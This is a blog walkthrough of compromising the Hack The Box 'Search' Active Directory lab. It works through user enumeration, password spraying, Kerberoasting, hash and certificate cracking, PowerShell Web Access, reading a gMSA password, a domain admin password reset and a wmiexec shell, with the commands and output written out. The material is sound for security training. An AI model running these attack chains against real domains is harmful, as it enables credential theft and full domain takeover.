read

Another highly recommended Active Directory lab for attackers and defenders looking to sharpen their AD skills.

Before going too far: if you are new to this type of content, I’d encourage you to use ippsec’s really high-quality YouTube video rather than this post. This post is better suited to provide quick access to commands and techniques that might help you solve this AD challenge and also let you test attack and defense for the techniques in your own lab environment.

Recon

nmap -sC -sV -oA search.nmap 10.10.11.129

We determine that this has the look of an Active Directory domain controller because of what appears to be a combination of DNS (53), Global Catalog (3268), Kerberos (88), LDAP (389) and SMB (445) on the machine.

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0
 |http-title: Search — Just Testing IIS | http-methods: | Potentially risky methods: TRACE
 |http-server-header: Microsoft-IIS/10.0 
88/tcp open kerberos-sec Microsoft Windows Kerberos (server    time: 2022-12-12 00:39:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name) |_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time. | ssl-cert: Subject: commonName=research | Not valid before: 2020-08-11T08:13:35 |_Not valid after: 2030-08-09T08:13:35 443/tcp open ssl/http Microsoft IIS httpd 10.0 | tls-alpn: | http/1.1
|http-server-header: Microsoft-IIS/10.0 |_http-title: Search — Just Testing IIS |_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time. | http-methods: | Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35

445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows

We also notice what appears to be a web server. If the machine is a domain controller it would not be recommended in many situations, but in this lab it’s a starting point to find more information.

Hostname

We can already infer the hostname of “research” via the commonname in TLS certificate output generated with nmap above.

Another approach, demonstrated by ippsec in the video is to use crackmapexec. An easy way to get it in a state ready to go if you are not using kali is with docker:

docker run -it --entrypoint=/bin/sh --name cme -v ~/.cme:/root/.cme byt3bl33d3r/crackmapexec

We can see from the output that the SMB interrogation backs up our hostname finding from the TLS certificate. (We can also see that SMB signing is enabled. Not ideal for attackers, thumbs up for the blue team).

SMB 10.10.11.129 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)

Users

By navigating to the web site found in the nmap scan we can see that there are a handful of employee names on the site. We can create a file containing likely login names based on the full names. The suggested names would be firstname.lastname (roger.ramjet) as well as firstinitiallastname (rramjet).

We come up with something like:

hope.sharp
keely.lyons
dax.santiago
sierra.frye
kyla.stewart
kaiara.spencer
dave.simpson
ben.thompson
chris.stewart
hsharp
klyons
dsantiago
sfrye
kstewart
kspencer
dsimpson
bthompson
cstewart

The next step is to get a better idea on the naming convention and users that do exist in AD. In the video mentioned at the start, ippsec suggests ropnop’s kerbrute which is an excellent idea (https://github.com/ropnop/kerbrute).

We can get it like:

wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64

And check against our list of potential users with:

./kerbrute_linux_amd64 userenum --dc 'research.search.htb' -d 'search.htb' search-users.txt

We determine that the following three are interesting to us:

./kerbrute_linux_amd64 userenum --dc 'research.search.htb' -d 'search.htb' search-users.txt 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop

2022/12/13 01:35:51 >  Using KDC(s):
2022/12/13 01:35:51 >  	research.search.htb:88

2022/12/13 01:35:51 >  [+] VALID USERNAME:	 hope.sharp@search.htb
2022/12/13 01:35:51 >  [+] VALID USERNAME:	 dax.santiago@search.htb
2022/12/13 01:35:51 >  [+] VALID USERNAME:	 keely.lyons@search.htb
2022/12/13 01:35:51 >  [+] VALID USERNAME:	 sierra.frye@search.htb
2022/12/13 01:35:51 >  Done! Tested 18 usernames (4 valid) in 0.472 seconds

We can be reasonably confident that we’ve learned the default naming convention (firstname.lastname) and some valid usernames. In the case of Hope, we also discovered what appears to be a password in an image on the website.

We can confirm the password using the same tool:

./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'ThepasswordWeThinkWeFound'

In the first attempt we are reminded that because we are dealing with Kerberos, we need to ensure clocks are in sync. The default allowable skew is five minutes. If we first update our local client time and then try again we have success:

└──╼ $sudo ntpdate 10.10.11.129
12 Dec 14:50:01 ntpdate[5225]: step time server 10.10.11.129 offset -39600.255169 sec

└──╼ $./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'thepasswordwefind' 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/12/22 - Ronnie Flathers @ropnop

2022/12/12 14:50:09 >  Using KDC(s):
2022/12/12 14:50:09 >  	research.search.htb:88

2022/12/12 14:50:10 >  [+] VALID LOGIN:	 hope.sharp@search.htb:thepassowrdwefind
2022/12/12 14:50:10 >  Done! Tested 18 logins (1 successes) in 0.965 seconds

We could also validate that we have at least read access to the ‘sysvol’ or ‘netlogon’ directories which need to be readable by all authenticated users using:

──╼ $smbclient \\\\search.htb\\sysvol -U search\\hope.sharp
Password for [SEARCH\hope.sharp]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  Dc        0  Wed Apr  1 02:41:30 2020
  ..                                 Dc        0  Wed Apr  1 02:41:30 2020
  FOLJWSHRGG                         Dc        0  Wed Apr  1 02:41:30 2020
  search.htb                        Drc        0  Wed Apr  1 01:18:24 2020

		3246079 blocks of size 4096. 600243 blocks available

Data Collection

Now that we have a confirmed set of credentials, we can go ahead and take a bloodhound collection.

git clone https://github.com/fox-it/BloodHound.py.git
python3 -m venv .venv
source .venv/bin/activate
pip3 install .

python3 bloodhound.py -u hope.sharp -p ourpassword -d search.htb -ns 10.10.11.129 -dc research.search.htb -c All

Once the collection is complete, we can start bloodhound to examine the data:

sudo apt update && sudo apt install -y bloodhound
sudo neo4j console

Log on to the web portal on localhost with http://localhost:7474 and change the default credentials from neo4j:neo4j

Then start bloodhound with:

bloodhound

Upload all the .json files collected with bloodhound.py.

You should be able to see that the database now has items populated.

bloodhound populated

Using “Analysis” > “Kerberos” > “List Kerberoastable Accounts” we locate WEB_SVC@search.htb as a potential next target. We could have moved on to using impacket as described in the next section but it’s good to have a look at what we are working with in the bloodhound collection first. We also isolate an additional domain admin account: tristan.davis@search.htb.

Kerberoasting

We can use a script from impacket in the first instance:

GetUserSPNs.py search.htb/hope.sharp:ourpassword -outputfile krb.txt

Inspecting krb.txt we find that we have successfully gathered a hash.

$cat krb.txt 
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$bd19145bf443f980627ec849d5ea6700$0b781bfc8c2f76d62bd0376fc3ddd2070a179511a1acc918090a9407c17a3a101aaa280e0b5cde0ea560c0f9ff848799113a723719332b02d16b11312cd74d2498d33ba1ef2f3af36eff0c190cbb8bba191fd0dc55

We can attempt to crack the hash with:

hashcat.bin krb.txt /opt/wordlist/rockyou.txt

We are lucky and can now use:

hashcat.bin krb.txt --show

to recover the password for the service account.

We mark the account as owned in bloodhound and check for paths to domain admin. At this point there are none.

Since this is a service account, we should check for password spray with the new credentials. (The idea being that if an admin created the service account, they might also use that password for themselves). Before doing that though, we should get a list of all users found by bloodhound. An easy way to do that is to open the console on http://localhost:7474 and execute a simple query:

MATCH (u:USER) RETURN u.name

neo4j

There’s an “export to csv” option in the top right corner. We can add all the usernames to our users.txt before running the password spray again with the new password.

Password Spray #2

./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'newpassword'

We find that the password is shared by two accounts:

   __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop

2022/12/13 08:44:19 >  Using KDC(s):
2022/12/13 08:44:19 >  	research.search.htb:88

2022/12/13 08:44:19 >  [+] VALID LOGIN:	 WEB_SVC@search.htb:newpassword
2022/12/13 08:44:22 >  [+] VALID LOGIN:	 EDGAR.JACOBS@search.htb:newpassword
2022/12/13 08:44:24 >  Done! Tested 107 logins (2 successes) in 5.406 seconds

We mark the new account as owned in bloodhound and check for paths to domain admin. At this point there are still none.

Share Enumeration

The next point of interest is whether there are shares that lead us to code execution via RPC over SMB, crackmapexec does a good job of helping there but there do not seem to be any. Or any that just contain information that is useful to us:

smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129

We identify:

        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	CertEnroll                                        	READ ONLY	Active Directory Certificate Services share
	helpdesk                                          	READ ONLY	
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	RedirectedFolders$                                	READ, WRITE	
	SYSVOL                                            	READ ONLY	Logon server share

We can enumerate the content of folders we have access to with something like:

smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129 -R RedirectedFolders$

And in this case, we eventually find a useful file which we can download to our machine with:

smbget -U edgar.jacobs smb://10.10.11.129/RedirectedFolders$/edgar.jacobs/Desktop/Phishing_Attempt.xlsx

Reading the (full) Excel Spreadsheet

We find that a single column of the spreadsheet is locked and requires a password.

spreadsheet

Fortunately, there is a known workaround. XLXS files are in zip format and contain the bits and pieces in the archive. If you extract the files you can work with the individual parts. In this case we are looking for the “SheetProtection” tag in the xml for the document. If we simply remove that tag the column will be no longer protected.

We remove the tag from xl/worksheets/sheet2.xml

remove protection

then rezip the file:

zip -r Phishing_Attempt.xlsx *

When we reopen the file, we can see column C and it contains many passwords.

New Credentials

We noticed earlier that user.txt was in the folder for Sierra.Frye but we didn’t seem to have access. We can can that again now with credentials that appear to be for that user.

smbget -U Sierra.Frye smb://10.10.11.129/RedirectedFolders$/sierra.frye/User.txt

The user.txt is valid. Neither here nor there for the real world, but useful to reassure that we are on the right track on this simulation.

Certificates

The user Sierra.Frye appears to have certificate material in the Downloads folder (Downloads\Backups)

smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12
smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/staff.pfx

When attempting to load the certificate via Firefox we find that the certificate is password protected.

password protected

We crack the password:

pfx2john staff.pfx > staff.hash
john --wordlist=rockyou.txt staff.hash

Now that we have the password and should be able to import the .pfx file.

Web Enumeration:

We need to find if there are authenticated parts of the site, we have yet to stumble on for which a client certificate might be useful.

gobuster dir -u 10.10.11.129 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt

We hit a promising 403 on “staff”:

/staff                (Status: 403) [Size: 1233]

forbidden

If we change our request to use https, we can leverage the certificate we imported for mutual authentication and succeed in finding the PowerShell Web site. This would be an undesirable configuration for most Domain Controllers but provided a really interesting detour on this practice lab.

powershell web access

PowerShell Web

Once logged in, we have shell access to the machine.

powershell web access 2

If we update our bloodhound information, marking Seirra as owned we can see that there is now a path to Administrators:

bloodhound updated

Looking at the diagram we can see that sierra.frye is a member of the ITSEC group.

The ITSEC group has “ReadGMSAPassword” rights on the BIR-ADFS-GMSA$ account. We can assume that this is a group managed service account.

The BIR-ADFS-GMSA$ account has GenericAll rights on tristan.davies and Tristan is a member of the Administrators group, nice.

We should be able to take over Tristan’s account if we can retrieve the GMSA credentials. The DSInternals package will allow us to do this.

$GMSA = Get-ADServiceAccount -Identity bir-adfs-gmsa -Properties 'msds-managedpassword'
$pass = $GMSA.'msds-managedpassword'
$convertedpass = ConvertFrom-ADManagedPasswordBlob $pass
$user = 'BIR-ADFS-GMSA$'
$password = $convertedpass.'CurrentPassword'
$ss = ConvertTo-SecureString $password -AsPlainText -Force
$cred = new-object system.management.automation.PSCredential $user,$ss
Invoke-Command -computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'P@ssw0rd123!' -force)} -Credential $cred

WMIExec

It would be nice if we had a way to get a shell as Tristan Davis now that we’ve reset his password. One way to achive this is with impacket. We can use:

wmiexec.py 'search/tristan.davies:P@ssw0rd123!@10.10.11.129'

And we should see:

wmiexec output

From there we can dump the challenge flag as needed but more importantly we can see that we have full domain administrator privileges and have completed the objective of compromising this domain.

Blog Logo

Chad Duffey


Published

Image

Chad Duffey

Blue Team -> Exploit Development & things in-between

Back to Overview